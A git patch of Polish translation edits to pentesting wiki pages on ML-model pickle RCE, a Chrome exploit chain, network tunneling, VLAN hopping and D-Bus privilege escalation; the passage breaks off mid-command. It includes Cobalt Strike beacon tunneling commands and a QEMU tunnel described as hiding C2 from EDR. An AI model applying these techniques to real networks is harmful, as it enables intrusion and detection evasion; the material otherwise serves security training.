From 1fccd9c8cae6adeae74fcfb1caa1e31074defbd0 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 22 Jul 2025 11:48:24 +0000 Subject: [PATCH] Translated ['src/AI/AI-Models-RCE.md', 'src/binary-exploitation/chrome-e --- src/AI/AI-Models-RCE.md | 12 +-- src/binary-exploitation/chrome-exploiting.md | 12 +-- .../tunneling-and-port-forwarding.md | 48 ++++----- .../lateral-vlan-segmentation-bypass.md | 16 +-- ...-command-injection-privilege-escalation.md | 26 ++--- .../android-app-pentesting/README.md | 102 +++++++++--------- .../insecure-in-app-update-rce.md | 22 ++-- .../ios-pentesting/README.md | 55 +++++----- .../air-keyboard-remote-input-injection.md | 8 +- .../pentesting-web/dotnetnuke-dnn.md | 16 +-- .../url-format-bypass.md | 20 ++-- .../abusing-ad-mssql.md | 10 +- .../golden-dmsa-gmsa.md | 12 +-- ...nagement-point-relay-sql-policy-secrets.md | 22 ++-- 14 files changed, 190 insertions(+), 191 deletions(-) diff --git a/src/AI/AI-Models-RCE.md b/src/AI/AI-Models-RCE.md index 4cab24ce0..a9acfc257 100644 --- a/src/AI/AI-Models-RCE.md +++ b/src/AI/AI-Models-RCE.md @@ -17,11 +17,11 @@ W momencie pisania, oto kilka przykładów tego typu luk: | **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Ładowanie modelu za pomocą `joblib.load` wykonuje pickle z ładunkiem `__reduce__` atakującego | | | **NumPy** (Python) | **CVE-2019-6446** (niebezpieczne `np.load`) *kwestionowane* | Domyślnie `numpy.load` pozwalało na ładowanie zserializowanych tablic obiektów – złośliwe `.npy/.npz` wywołuje wykonanie kodu | | | **ONNX / ONNX Runtime** | **CVE-2022-25882** (przechodzenie katalogów)
**CVE-2024-5187** (przechodzenie tar) | Ścieżka zewnętrznych wag modelu ONNX może uciec z katalogu (odczyt dowolnych plików)
Złośliwy model ONNX tar może nadpisać dowolne pliki (prowadząc do RCE) | | -| ONNX Runtime (ryzyko projektowe) | *(Brak CVE)* niestandardowe operacje ONNX / przepływ sterowania | Model z niestandardowym operatorem wymaga załadowania natywnego kodu atakującego; złożone grafy modelu nadużywają logiki do wykonania niezamierzonych obliczeń | | -| **NVIDIA Triton Server** | **CVE-2023-31036** (przechodzenie ścieżek) | Użycie API ładowania modelu z włączonym `--model-control` pozwala na przechodzenie ścieżek względnych do zapisywania plików (np. nadpisanie `.bashrc` dla RCE) | | +| ONNX Runtime (ryzyko projektowe) | *(Brak CVE)* Niestandardowe operacje ONNX / przepływ sterowania | Model z niestandardowym operatorem wymaga załadowania natywnego kodu atakującego; złożone grafy modelu nadużywają logiki do wykonania niezamierzonych obliczeń | | +| **NVIDIA Triton Server** | **CVE-2023-31036** (przechodzenie ścieżki) | Użycie API ładowania modelu z włączonym `--model-control` pozwala na przechodzenie ścieżki względnej do zapisywania plików (np. nadpisanie `.bashrc` dla RCE) | | | **GGML (format GGUF)** | **CVE-2024-25664 … 25668** (wiele przepełnień sterty) | Źle sformatowany plik modelu GGUF powoduje przepełnienia bufora sterty w parserze, umożliwiając wykonanie dowolnego kodu na systemie ofiary | | -| **Keras (starsze formaty)** | *(Brak nowego CVE)* Legacy model Keras H5 | Złośliwy model HDF5 (`.h5`) z kodem warstwy Lambda nadal wykonuje się podczas ładowania (tryb bezpieczeństwa Keras nie obejmuje starego formatu – „atak degradacyjny”) | | -| **Inne** (ogólnie) | *Wada projektowa* – serializacja Pickle | Wiele narzędzi ML (np. formaty modeli oparte na pickle, Python `pickle.load`) wykona dowolny kod osadzony w plikach modeli, chyba że zostanie to złagodzone | | +| **Keras (starsze formaty)** | *(Brak nowego CVE)* Model Keras H5 w wersji legacy | Złośliwy model HDF5 (`.h5`) z kodem warstwy Lambda nadal wykonuje się podczas ładowania (tryb bezpieczeństwa Keras nie obejmuje starego formatu – „atak degradacyjny”) | | +| **Inne** (ogólnie) | *Wada projektowa* – Serializacja Pickle | Wiele narzędzi ML (np. formaty modeli oparte na pickle, Python `pickle.load`) wykona dowolny kod osadzony w plikach modeli, chyba że zostanie to złagodzone | | Ponadto istnieją modele oparte na python pickle, takie jak te używane przez [PyTorch](https://github.com/pytorch/pytorch/security), które mogą być użyte do wykonania dowolnego kodu w systemie, jeśli nie są ładowane z `weights_only=True`. Tak więc, każdy model oparty na pickle może być szczególnie podatny na tego typu ataki, nawet jeśli nie są wymienione w powyższej tabeli. @@ -67,7 +67,7 @@ json={}, # body can be empty timeout=5, ) ``` -4. Kiedy InvokeAI pobiera plik, wywołuje `torch.load()` → uruchamia się gadżet `os.system`, a atakujący uzyskuje wykonanie kodu w kontekście procesu InvokeAI. +4. Gdy InvokeAI pobiera plik, wywołuje `torch.load()` → uruchamia się gadżet `os.system`, a atakujący uzyskuje wykonanie kodu w kontekście procesu InvokeAI. Gotowy exploit: **Metasploit** moduł `exploit/linux/http/invokeai_rce_cve_2024_12029` automatyzuje cały proces. @@ -79,7 +79,7 @@ Gotowy exploit: **Metasploit** moduł `exploit/linux/http/invokeai_rce_cve_2024_ #### Łagodzenia -* Uaktualnij do **InvokeAI ≥ 5.4.3** – łatka ustawia `scan=True` domyślnie i przeprowadza skanowanie złośliwego oprogramowania przed deserializacją. +* Uaktualnij do **InvokeAI ≥ 5.4.3** – poprawka ustawia `scan=True` domyślnie i przeprowadza skanowanie złośliwego oprogramowania przed deserializacją. * Podczas programowego ładowania punktów kontrolnych używaj `torch.load(file, weights_only=True)` lub nowego [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) pomocnika. * Wymuszaj listy dozwolone / podpisy dla źródeł modeli i uruchamiaj usługę z minimalnymi uprawnieniami. diff --git a/src/binary-exploitation/chrome-exploiting.md b/src/binary-exploitation/chrome-exploiting.md index 512ea795a..ba4b8ca6d 100644 --- a/src/binary-exploitation/chrome-exploiting.md +++ b/src/binary-exploitation/chrome-exploiting.md @@ -30,7 +30,7 @@ Zrozumienie powierzchni ataku wymaga wiedzy o tym, gdzie kod jest wykonywany i k Layered defence-in-depth: * **V8 sandbox** (Izolacja): uprawnienia pamięci są ograniczone, aby zapobiec dowolnemu odczytowi/zapisowi z JITowanego JS / Wasm. -* **Podział Renderer ↔ Browser** zapewniony przez **Mojo/IPC** przesyłanie wiadomości; renderer *nie ma* dostępu do natywnego FS/sieci. +* **Podział Renderer ↔ Przeglądarka** zapewniony przez **Mojo/IPC** przesyłanie wiadomości; renderer *nie ma* dostępu do natywnego FS/sieci. * **OS sandboksy** dodatkowo ograniczają każdy proces (Windows Integrity Levels / `seccomp-bpf` / profile sandboxów macOS). Zatem *zdalny* atakujący potrzebuje **trzech** kolejnych prymitywów: @@ -43,7 +43,7 @@ Zatem *zdalny* atakujący potrzebuje **trzech** kolejnych prymitywów: ## 2. Etap 1 – WebAssembly Type-Confusion (CVE-2025-0291) -Wada w optymalizacji **Turboshaft** TurboFan błędnie klasyfikuje **typy referencji WasmGC**, gdy wartość jest produkowana i konsumowana wewnątrz *pojedynczej pętli bloku podstawowego*. +Wada w optymalizacji **Turboshaft** TurboFan błędnie klasyfikuje **typy referencyjne WasmGC**, gdy wartość jest produkowana i konsumowana wewnątrz *pojedynczej pętli bloku podstawowego*. Efekt: * Kompilator **pomija sprawdzenie typu**, traktując *referencję* (`externref/anyref`) jako *int64*. @@ -90,8 +90,8 @@ Nadpisanie 2 × 64-bitowych pól obiektu `Tuple2` umożliwia **odczyt/zapis na d Kluczowe kroki w exploicie: 1. Wprowadź funkcję w stan **Tier-Up**, przełączając między kodem turbofan/baseline. -2. Wywołaj tier-up, utrzymując referencję na stosie (`Function.prototype.apply`). -3. Użyj AAR/AAW Etapu-1, aby znaleźć i uszkodzić sąsiedni `Tuple2`. +2. Wyzwól tier-up, utrzymując odniesienie na stosie (`Function.prototype.apply`). +3. Użyj AAR/AAW z Etapu-1, aby znaleźć i uszkodzić sąsiedni `Tuple2`. Identyfikacja wrappera: ```js @@ -132,7 +132,7 @@ Nie jest konieczne dodatkowe uszkodzenie pamięci – **błąd logiczny** daje n 1. **Użytkownik odwiedza** złośliwą stronę internetową. 2. **Etap 1**: Moduł Wasm wykorzystuje CVE-2025-0291 → sterta V8 AAR/AAW. -3. **Etap 2**: Niedopasowanie wrappera uszkadza `Tuple2` → ucieczka z piaskownicy V8. +3. **Etap 2**: Niedopasowanie opakowania uszkadza `Tuple2` → ucieczka z piaskownicy V8. 4. **Etap 3**: `startDragging()` IPC → ucieczka z piaskownicy OS i wykonanie ładunku. Wynik: **Zdalne wykonanie kodu (RCE)** na hoście (Chrome 130, Windows/Linux/macOS). @@ -160,7 +160,7 @@ chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-nativ * **Błędy JIT WebAssembly** pozostają niezawodnym punktem wejścia – system typów jest wciąż młody. * Uzyskanie drugiego błędu korupcji pamięci wewnątrz V8 (np. niedopasowanie wrappera) znacznie upraszcza **ucieczkę z piaskownicy V8**. -* Słabości na poziomie logiki w uprzywilejowanych interfejsach IPC Mojo są często wystarczające do **ostatecznej ucieczki z piaskownicy** – zwracaj uwagę na *błędy niezwiązane z pamięcią*. +* Słabości na poziomie logiki w uprzywilejowanych interfejsach IPC Mojo są często wystarczające do **ostatecznej ucieczki z piaskownicy** – zwracaj uwagę na *błędy niepamięciowe*. diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index da31f5481..81d96b726 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -2,10 +2,10 @@ {{#include ../banners/hacktricks-training.md}} -## Wskazówka Nmap +## Nmap tip > [!WARNING] -> **Skanowanie ICMP** i **SYN** nie może być tunelowane przez proxy socks, więc musimy **wyłączyć odkrywanie ping** (`-Pn`) i określić **skanowanie TCP** (`-sT`), aby to działało. +> **Skanowanie ICMP** i **SYN** nie może być tunelowane przez proxy socks, więc musimy **wyłączyć odkrywanie ping** (`-Pn`) i określić **skany TCP** (`-sT`), aby to działało. ## **Bash** @@ -68,7 +68,7 @@ ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN ``` ### VPN-Tunnel -Musisz mieć **root na obu urządzeniach** (ponieważ zamierzasz utworzyć nowe interfejsy) i konfiguracja sshd musi zezwalać na logowanie jako root:\ +Musisz mieć **roota na obu urządzeniach** (ponieważ zamierzasz utworzyć nowe interfejsy) i konfiguracja sshd musi zezwalać na logowanie jako root:\ `PermitRootLogin yes`\ `PermitTunnel yes` ```bash @@ -89,12 +89,12 @@ route add -net 10.0.0.0/16 gw 1.1.1.1 ``` > [!NOTE] > **Bezpieczeństwo – Atak Terrapin (CVE-2023-48795)** -> Atak downgrade Terrapin z 2023 roku może pozwolić atakującemu typu man-in-the-middle na manipulację wczesnym handshake'iem SSH i wstrzykiwanie danych do **dowolnego przekazywanego kanału** ( `-L`, `-R`, `-D` ). Upewnij się, że zarówno klient, jak i serwer są załatane (**OpenSSH ≥ 9.6/LibreSSH 6.7**) lub wyraźnie wyłącz podatne algorytmy `chacha20-poly1305@openssh.com` i `*-etm@openssh.com` w `sshd_config`/`ssh_config`, zanim polegasz na tunelach SSH. +> Atak degradacyjny Terrapin z 2023 roku może pozwolić atakującemu typu man-in-the-middle na manipulację wczesnym handshake'iem SSH i wstrzykiwanie danych do **dowolnego przekazywanego kanału** ( `-L`, `-R`, `-D` ). Upewnij się, że zarówno klient, jak i serwer są załatane (**OpenSSH ≥ 9.6/LibreSSH 6.7**) lub wyraźnie wyłącz podatne algorytmy `chacha20-poly1305@openssh.com` i `*-etm@openssh.com` w `sshd_config`/`ssh_config`, zanim polegasz na tunelach SSH. ## SSHUTTLE -Możesz **tunele** przez **ssh** cały **ruch** do **podsieci** przez hosta.\ -Na przykład, przekazywanie całego ruchu idącego do 10.10.10.0/24 +Możesz **tunelować** przez **ssh** cały **ruch** do **podsieci** przez hosta.\ +Na przykład, przekazywanie całego ruchu kierowanego do 10.10.10.0/24 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 @@ -138,7 +138,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ### SOCKS proxy -Otwórz port w serwerze zespołowym nasłuchującym na wszystkich interfejsach, który może być używany do **przekierowywania ruchu przez beacon**. +Otwórz port w serwerze zespołu nasłuchujący na wszystkich interfejsach, który może być używany do **przekierowywania ruchu przez beacon**. ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -149,12 +149,12 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ### rPort2Port > [!WARNING] -> W tym przypadku **port jest otwarty na hoście beacon**, a nie na serwerze Team Server, a ruch jest wysyłany do serwera Team Server, a stamtąd do wskazanego host:port +> W tym przypadku **port jest otwarty na hoście beacon**, a nie na serwerze zespołu, a ruch jest wysyłany do serwera zespołu, a stamtąd do wskazanego hosta:port ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` -Do zauważenia: +Aby zauważyć: - Odwrócone przekierowanie portów Beacona jest zaprojektowane do **tunnelingu ruchu do Serwera Zespołu, a nie do przekazywania między poszczególnymi maszynami**. - Ruch jest **tunnelowany w ramach ruchu C2 Beacona**, w tym linków P2P. @@ -163,7 +163,7 @@ Do zauważenia: ### rPort2Port lokalnie > [!WARNING] -> W tym przypadku **port jest otwierany na hoście beacona**, a nie na Serwerze Zespołu, a **ruch jest wysyłany do klienta Cobalt Strike** (a nie do Serwera Zespołu) i stamtąd do wskazanego hosta:port +> W tym przypadku **port jest otwierany w hoście beacona**, a nie w Serwerze Zespołu, a **ruch jest wysyłany do klienta Cobalt Strike** (a nie do Serwera Zespołu) i stamtąd do wskazanego hosta:port ```bash rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] @@ -172,14 +172,14 @@ rportfwd_local stop [bind port] [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) -Musisz przesłać plik tunelowy: ashx|aspx|js|jsp|php|php|jsp +Musisz przesłać plik webowy tunel: ashx|aspx|js|jsp|php|php|jsp ```bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` ## Chisel -Możesz go pobrać ze strony wydań [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ -Musisz używać **tej samej wersji dla klienta i serwera** +Możesz go pobrać z strony wydań [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ +Musisz użyć **tej samej wersji dla klienta i serwera** ### socks ```bash @@ -231,7 +231,7 @@ listener_add --addr 0.0.0.0:30000 --to 127.0.0.1:10000 --tcp # Display the currently running listeners on the agent -- Attacker listener_list ``` -### Uzyskaj dostęp do lokalnych portów agenta +### Uzyskiwanie dostępu do lokalnych portów agenta ```bash # Establish a tunnel from the proxy server to the agent # Create a route to redirect traffic for 240.0.0.1 to the Ligolo-ng interface to access the agent's local services -- Attacker @@ -350,7 +350,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 Musisz mieć **dostęp RDP do systemu**.\ Pobierz: -1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - To narzędzie wykorzystuje `Dynamic Virtual Channels` (`DVC`) z funkcji Zdalnego Pulpitu w systemie Windows. DVC jest odpowiedzialne za **tunneling pakietów przez połączenie RDP**. +1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - To narzędzie wykorzystuje `Dynamic Virtual Channels` (`DVC`) z funkcji Zdalnego Pulpitu w systemie Windows. DVC odpowiada za **tunneling pakietów przez połączenie RDP**. 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) Na swoim komputerze klienckim załaduj **`SocksOverRDP-Plugin.dll`** w ten sposób: @@ -370,9 +370,9 @@ netstat -antb | findstr 1080 ``` Teraz możesz użyć [**Proxifier**](https://www.proxifier.com/) **do proxyzowania ruchu przez ten port.** -## Proxyzowanie aplikacji GUI w systemie Windows +## Proxyzowanie aplikacji GUI w Windows -Możesz sprawić, że aplikacje GUI w systemie Windows będą korzystać z proxy za pomocą [**Proxifier**](https://www.proxifier.com/).\ +Możesz sprawić, że aplikacje GUI w Windows będą korzystać z proxy za pomocą [**Proxifier**](https://www.proxifier.com/).\ W **Profile -> Proxy Servers** dodaj adres IP i port serwera SOCKS.\ W **Profile -> Proxification Rules** dodaj nazwę programu do proxyzowania oraz połączenia do adresów IP, które chcesz proxyzować. @@ -396,7 +396,7 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` -Teraz, jeśli ustawisz na przykład w ofierze usługę **SSH** do nasłuchiwania na porcie 443. Możesz się z nią połączyć przez port atakującego 2222.\ +Teraz, jeśli na przykład ustawisz na ofierze usługę **SSH** do nasłuchiwania na porcie 443. Możesz się z nią połączyć przez port atakującego 2222.\ Możesz również użyć **meterpreter**, który łączy się z localhost:443, a atakujący nasłuchuje na porcie 2222. ## YARP @@ -484,7 +484,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1 ## ngrok [**ngrok**](https://ngrok.com/) **to narzędzie do eksponowania rozwiązań w Internecie w jednej linii poleceń.**\ -_Adresy URI eksponujące są jak:_ **UID.ngrok.io** +_URI eksponowania wygląda jak:_ **UID.ngrok.io** ### Instalacja @@ -561,7 +561,7 @@ cloudflared tunnel --url http://localhost:8080 cloudflared tunnel --url socks5://localhost:1080 --socks5 # Now configure proxychains to use 127.0.0.1:1080 ``` -### Trwałe tunele z DNS +### Trwałe tunelowanie z DNS ```bash cloudflared tunnel create mytunnel cloudflared tunnel route dns mytunnel internal.example.com @@ -612,7 +612,7 @@ Powyższe polecenie publikuje port ofiary **8080** jako **attacker_ip:9000** bez ## Tajne tunelowanie oparte na VM z QEMU -Sieciowanie w trybie użytkownika QEMU (`-netdev user`) obsługuje opcję o nazwie `hostfwd`, która **wiąże port TCP/UDP na *hoście* i przekazuje go do *gościa***. Gdy gość uruchamia pełny demon SSH, reguła hostfwd daje ci jednorazowy serwer SSH, który żyje całkowicie wewnątrz efemerycznej VM – idealne do ukrywania ruchu C2 przed EDR, ponieważ wszystkie złośliwe działania i pliki pozostają na wirtualnym dysku. +Sieciowanie w trybie użytkownika QEMU (`-netdev user`) obsługuje opcję o nazwie `hostfwd`, która **wiąże port TCP/UDP na *hoście* i przekazuje go do *gościa***. Gdy gość uruchamia pełny demon SSH, reguła hostfwd daje ci jednorazowy skok SSH, który żyje całkowicie wewnątrz efemerycznej VM – idealne do ukrywania ruchu C2 przed EDR, ponieważ wszystkie złośliwe działania i pliki pozostają na wirtualnym dysku. ### Szybka linia komend ```powershell @@ -653,14 +653,14 @@ while ! ping -c1 45.77.4.101; do sleep 2; done ### Dlaczego to unika wykrycia • Tylko dwa niesigned executables (`qemu-system-*.exe`) dotykają dysku; nie są instalowane żadne sterowniki ani usługi. -• Produkty zabezpieczające na hoście widzą **nieszkodliwy ruch loopback** (rzeczywisty C2 kończy się wewnątrz VM). -• Skany pamięci nigdy nie analizują przestrzeni procesów złośliwych, ponieważ żyje ona w innym systemie operacyjnym. +• Produkty zabezpieczające na hoście widzą **łagodny ruch loopback** (rzeczywisty C2 kończy się wewnątrz VM). +• Skany pamięci nigdy nie analizują złośliwej przestrzeni procesów, ponieważ żyje ona w innym systemie operacyjnym. ### Wskazówki dla Defendera • Alarmuj na **nieoczekiwane binaria QEMU/VirtualBox/KVM** w ścieżkach zapisywalnych przez użytkownika. • Blokuj połączenia wychodzące, które pochodzą z `qemu-system*.exe`. -• Poluj na rzadkie porty nasłuchujące (2222, 10022, …) wiążące się natychmiast po uruchomieniu QEMU. +• Szukaj rzadkich portów nasłuchujących (2222, 10022, …) wiążących się natychmiast po uruchomieniu QEMU. --- diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index 8ab31547f..9ae203cd1 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -10,7 +10,7 @@ Początkowo konieczne jest zidentyfikowanie konkretnego podłączonego portu. Za ``` SW1(config)# show mac address-table | include 0050.0000.0500 ``` -Przed przełączeniem na tryb trunk, należy sporządzić listę istniejących VLAN-ów i określić ich identyfikatory. Identyfikatory te są następnie przypisywane do interfejsu, co umożliwia dostęp do różnych VLAN-ów przez trunk. Port w użyciu, na przykład, jest powiązany z VLAN 10. +Przed przełączeniem na tryb trunk, należy sporządzić listę istniejących VLAN-ów oraz określić ich identyfikatory. Identyfikatory te są następnie przypisywane do interfejsu, co umożliwia dostęp do różnych VLAN-ów przez trunk. Port w użyciu, na przykład, jest powiązany z VLAN 10. ``` SW1# show vlan brief ``` @@ -33,7 +33,7 @@ sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up ``` -Następnie żądanie adresu jest wysyłane za pośrednictwem DHCP. Alternatywnie, w przypadkach, gdy DHCP nie jest możliwe, adresy można skonfigurować ręcznie: +Następnie żądanie adresu jest wysyłane za pomocą DHCP. Alternatywnie, w przypadkach, gdy DHCP nie jest możliwe, adresy można skonfigurować ręcznie: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 @@ -67,7 +67,7 @@ $ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling $ git clone https://github.com/fleetcaptain/dtp-spoof.git $ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable ``` -Gdy port przełączy się na trunk, możesz utworzyć podinterfejsy 802.1Q i przeprowadzić pivot dokładnie tak, jak pokazano w poprzedniej sekcji. Nowoczesne jądra Linuksa nie wymagają już *vconfig*; zamiast tego użyj *ip link*: +Gdy port przełączy się na trunk, możesz utworzyć podinterfejsy 802.1Q i przejść dokładnie tak, jak pokazano w poprzedniej sekcji. Nowoczesne jądra Linuksa nie wymagają już *vconfig*; zamiast tego użyj *ip link*: ```bash sudo modprobe 8021q sudo ip link add link eth0 name eth0.30 type vlan id 30 @@ -85,15 +85,15 @@ python3 DoubleTagging.py \ --victim 10.10.20.24 \ --attacker 10.10.1.54 ``` -Przechodzenie pakietu: -1. Zewnętrzna etykieta (1) jest usuwana przez pierwszy przełącznik, ponieważ pasuje do natywnego VLAN. -2. Wewnętrzna etykieta (20) jest teraz odsłonięta; ramka jest przesyłana na trunk w kierunku VLAN 20. +Przechodzenie pakietów: +1. Zewnętrzny tag (1) jest usuwany przez pierwszy switch, ponieważ pasuje do natywnego VLAN. +2. Wewnętrzny tag (20) jest teraz odsłonięty; ramka jest przesyłana na trunk w kierunku VLAN 20. -Technika ta nadal działa w 2025 roku w sieciach, które pozostawiają natywny VLAN na domyślnym poziomie i akceptują ramki bez etykiet. +Technika ta nadal działa w 2025 roku w sieciach, które pozostawiają natywny VLAN na domyślnym poziomie i akceptują ramki bez tagów. ### 3. QinQ (802.1ad) Stacking -Wiele rdzeni przedsiębiorstw obsługuje *Q-in-Q* enkapsulację dostawcy usług. Gdzie to dozwolone, atakujący może tunelować dowolny ruch oznaczony 802.1Q wewnątrz dostawcy (S-tag), aby przekroczyć strefy bezpieczeństwa. Przechwyć dla etyki 802.1ad 0x88a8 i spróbuj usunąć zewnętrzną etykietę za pomocą Scapy: +Wiele rdzeni przedsiębiorstw obsługuje *Q-in-Q* enkapsulację dostawcy usług. Gdzie to dozwolone, atakujący może tunelować dowolny ruch oznaczony 802.1Q wewnątrz dostawcy (S-tag), aby przekroczyć strefy bezpieczeństwa. Przechwyć dla etyki 802.1ad 0x88a8 i spróbuj usunąć zewnętrzny tag za pomocą Scapy: ```python from scapy.all import * outer = 100 # Service tag diff --git a/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md b/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md index ce992c031..bb8cc528b 100644 --- a/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -6,7 +6,7 @@ D-Bus jest wykorzystywany jako mediator komunikacji międzyprocesowej (IPC) w środowiskach desktopowych Ubuntu. W Ubuntu obserwuje się równoczesne działanie kilku magistrali komunikacyjnych: magistrali systemowej, głównie wykorzystywanej przez **usługi z uprawnieniami do udostępniania usług istotnych dla całego systemu**, oraz magistrali sesyjnej dla każdego zalogowanego użytkownika, udostępniającej usługi istotne tylko dla tego konkretnego użytkownika. Skupiamy się tutaj głównie na magistrali systemowej ze względu na jej związek z usługami działającymi z wyższymi uprawnieniami (np. root), ponieważ naszym celem jest podniesienie uprawnień. Zauważono, że architektura D-Bus wykorzystuje 'routera' na każdą magistralę sesyjną, który odpowiada za przekierowywanie wiadomości klientów do odpowiednich usług na podstawie adresu określonego przez klientów dla usługi, z którą chcą się komunikować. -Usługi na D-Bus są definiowane przez **obiekty** i **interfejsy**, które udostępniają. Obiekty można porównać do instancji klas w standardowych językach OOP, przy czym każda instancja jest unikalnie identyfikowana przez **ścieżkę obiektu**. Ta ścieżka, podobna do ścieżki w systemie plików, unikalnie identyfikuje każdy obiekt udostępniony przez usługę. Kluczowym interfejsem do celów badawczych jest interfejs **org.freedesktop.DBus.Introspectable**, który zawiera jedną metodę, Introspect. Metoda ta zwraca reprezentację XML metod, sygnałów i właściwości obsługiwanych przez obiekt, koncentrując się tutaj na metodach, pomijając właściwości i sygnały. +Usługi na D-Bus są definiowane przez **obiekty** i **interfejsy**, które udostępniają. Obiekty można porównać do instancji klas w standardowych językach OOP, przy czym każda instancja jest unikalnie identyfikowana przez **ścieżkę obiektu**. Ta ścieżka, podobnie jak ścieżka w systemie plików, unikalnie identyfikuje każdy obiekt udostępniany przez usługę. Kluczowym interfejsem do celów badawczych jest interfejs **org.freedesktop.DBus.Introspectable**, który zawiera jedną metodę, Introspect. Metoda ta zwraca reprezentację XML metod, sygnałów i właściwości obsługiwanych przez obiekt, koncentrując się tutaj na metodach, pomijając właściwości i sygnały. Do komunikacji z interfejsem D-Bus wykorzystano dwa narzędzia: narzędzie CLI o nazwie **gdbus** do łatwego wywoływania metod udostępnianych przez D-Bus w skryptach oraz [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), narzędzie GUI oparte na Pythonie, zaprojektowane do enumeracji usług dostępnych na każdej magistrali i wyświetlania obiektów zawartych w każdej usłudze. ```bash @@ -16,13 +16,13 @@ sudo apt-get install d-feet ![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png) -Na pierwszym obrazie pokazane są usługi zarejestrowane w systemowym busie D-Bus, z **org.debin.apt** szczególnie wyróżnionym po wybraniu przycisku System Bus. D-Feet zapytuje tę usługę o obiekty, wyświetlając interfejsy, metody, właściwości i sygnały dla wybranych obiektów, co widać na drugim obrazie. Podpis każdej metody jest również szczegółowo opisany. +Na pierwszym obrazie pokazane są usługi zarejestrowane w systemowej szynie D-Bus, z **org.debin.apt** szczególnie wyróżnionym po wybraniu przycisku System Bus. D-Feet zapytuje tę usługę o obiekty, wyświetlając interfejsy, metody, właściwości i sygnały dla wybranych obiektów, co widać na drugim obrazie. Podpis każdej metody jest również szczegółowo opisany. -Ciekawą cechą jest wyświetlanie **identyfikatora procesu (pid)** i **linii poleceń** usługi, co jest przydatne do potwierdzenia, czy usługa działa z podwyższonymi uprawnieniami, co jest ważne dla istotności badań. +Cechą godną uwagi jest wyświetlanie **identyfikatora procesu (pid)** i **linii poleceń** usługi, co jest przydatne do potwierdzenia, czy usługa działa z podwyższonymi uprawnieniami, co jest ważne dla istotności badań. **D-Feet umożliwia również wywoływanie metod**: użytkownicy mogą wprowadzać wyrażenia Pythona jako parametry, które D-Feet konwertuje na typy D-Bus przed przekazaniem do usługi. -Należy jednak zauważyć, że **niektóre metody wymagają uwierzytelnienia** przed pozwoleniem na ich wywołanie. Zignorujemy te metody, ponieważ naszym celem jest podniesienie naszych uprawnień bez poświadczeń w pierwszej kolejności. +Należy jednak zauważyć, że **niektóre metody wymagają uwierzytelnienia** przed umożliwieniem ich wywołania. Zignorujemy te metody, ponieważ naszym celem jest podniesienie naszych uprawnień bez posiadania poświadczeń. Należy również zauważyć, że niektóre z usług zapytują inną usługę D-Bus o nazwie org.freedeskto.PolicyKit1, czy użytkownik powinien mieć prawo do wykonywania określonych działań, czy nie. @@ -120,7 +120,7 @@ cap_mknod cap_lease cap_audit_write cap_audit_control cap_setfcap cap_mac_override cap_mac_admin cap_syslog cap_wake_alarm cap_block_suspend cap_audit_read ``` -### Lista interfejsów obiektu usługi +### List Interfaces of a Service Object Musisz mieć wystarczające uprawnienia. ```bash @@ -150,7 +150,7 @@ org.freedesktop.DBus.Properties interface - - - .Set method ssv - - .PropertiesChanged signal sa{sv}as - - ``` -Zauważ metodę `.Block` interfejsu `htb.oouch.Block` (to jest to, co nas interesuje). "s" w innych kolumnach może oznaczać, że oczekuje ciągu znaków. +Zauważ metodę `.Block` interfejsu `htb.oouch.Block` (to jest to, co nas interesuje). "s" w innych kolumnach może oznaczać, że oczekuje ciągu. ### Interfejs monitorowania/łapania @@ -188,9 +188,9 @@ STRING "Carried out :D"; ``` Możesz użyć `capture` zamiast `monitor`, aby zapisać wyniki w pliku pcap. -#### Filtrowanie wszystkich szumów +#### Filtrowanie całego szumu -Jeśli na busie jest zbyt wiele informacji, przekaż regułę dopasowania w ten sposób: +Jeśli na magistrali jest zbyt wiele informacji, przekaż regułę dopasowania w ten sposób: ```bash dbus-monitor 